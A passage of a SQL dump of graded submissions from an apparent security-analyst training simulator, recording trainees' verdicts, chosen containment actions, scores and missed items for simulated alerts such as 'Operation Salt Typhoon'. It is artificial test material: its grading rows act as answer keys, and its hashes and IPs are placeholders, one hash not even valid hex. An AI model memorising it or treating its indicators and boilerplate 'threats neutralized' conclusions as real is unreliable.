(Auto-Generated)\",\"submitted_at\":\"2026-03-10T22:20:40.202Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-10 22:19:55', '2026-03-10 22:20:40', 0, NULL),
(499, 225, 1469, 'graded', 93, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.0.5.12\",\"ip-192.168.1.50\",\"hash-d41d8cd9\",\"domain-CORP\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 9:22:13 AM\\nALERT: Lateral Movement to Wiretap Systems [OP: Operation Salt Typhoon]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 10.0.5.12\\n- [IP] 192.168.1.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [DOMAIN] CORP\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Reset Credentials\\n- Collect Forensics\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-10T22:22:20.030Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)\",\"missed_items\":[\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-10 22:20:40', '2026-03-10 22:22:20', 0, NULL),
(500, 225, 1470, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.10\",\"ip-203.0.113.45\",\"hash-5d41402a\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"reset_credentials\",\"escalate\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 9:23:22 AM\\nALERT: Exfiltration of Sensitive Communications [OP: Operation Salt Typhoon]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.10\\n- [IP] 203.0.113.45\\n- [HASH] 5d41402abc4b2a76b9719d911017c592\\n- [FILENAME] wiretap_data.zip\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-10T22:23:21.429Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-10 22:22:20', '2026-03-10 22:23:21', 0, NULL),
(501, 225, 629, 'graded', 85, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/2)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.12\",\"ip-185.143.223.42\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 9:24:46 AM\\nALERT: Suspicious Network Connection Detected\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 192.168.1.12\\n- [IP] 185.143.223.42\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Collect Forensics\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-10T22:24:49.308Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/2)\",\"missed_items\":[\"monitor_traffic\"],\"strengths\":\"Solid analysis\"}', '2026-03-11 01:32:39', '2026-03-10 22:23:39', '2026-03-10 22:24:49', 0, NULL),
(502, 229, 1257, 'graded', 100, 'Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.101\",\"ip-192.168.1.102\"],\"selectedActions\":[\"close_alert\"],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/10/2026, 4:21:46 PM\\nALERT: False Positive: Normal Network Traffic Misidentified as Anomaly\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 192.168.1.101\\n- [IP] 192.168.1.102\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (1)\\n------------------------------\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-10T23:21:53.224Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-11 02:25:25', '2026-03-10 23:19:25', '2026-03-10 23:21:53', 0, NULL),
(503, 229, 269, 'graded', 93, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.50\",\"hash-d41d8cd9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"collect_forensics\",\"block_ip\",\"isolate_host\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/10/2026, 6:22:27 PM\\nALERT: BlackEnergy Malware Execution [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 203.0.113.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] invoice.doc\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-11T01:22:29.469Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)\",\"missed_items\":[\"block_hash\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-11 01:20:21', '2026-03-11 01:22:29', 0, NULL),
(504, 34, 1466, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-11 02:54:56', '2026-03-11 02:54:56', 0, NULL),
(507, 225, 1461, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-185.123.231.45\",\"ip-192.168.1.25\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 2:20:34 PM\\nALERT: Initial Access: Spear Phishing Campaign [OP: Operation Blockbuster- Sony Pictures]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 185.123.231.45\\n- [IP] 192.168.1.25\\n- [EMAIL] j.smith@sonypictures.com\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-11T03:20:47.507Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-11 06:23:21', '2026-03-11 03:18:21', '2026-03-11 03:20:47', 0, NULL),
(508, 225, 1462, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.15\",\"hash-a9f5d8e7\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 2:21:41 PM\\nALERT: Execution: Deployment of Destructive Malware [OP: Operation Blockbuster- Sony Pictures]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.15\\n- [HASH] a9f5d8e7b0c8f3a2c1e4d5b6f7g8h9i0\\n- [FILENAME] destructive_payload.dll\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-11T03:21:50.908Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-11 03:20:47', '2026-03-11 03:21:50', 0, NULL);
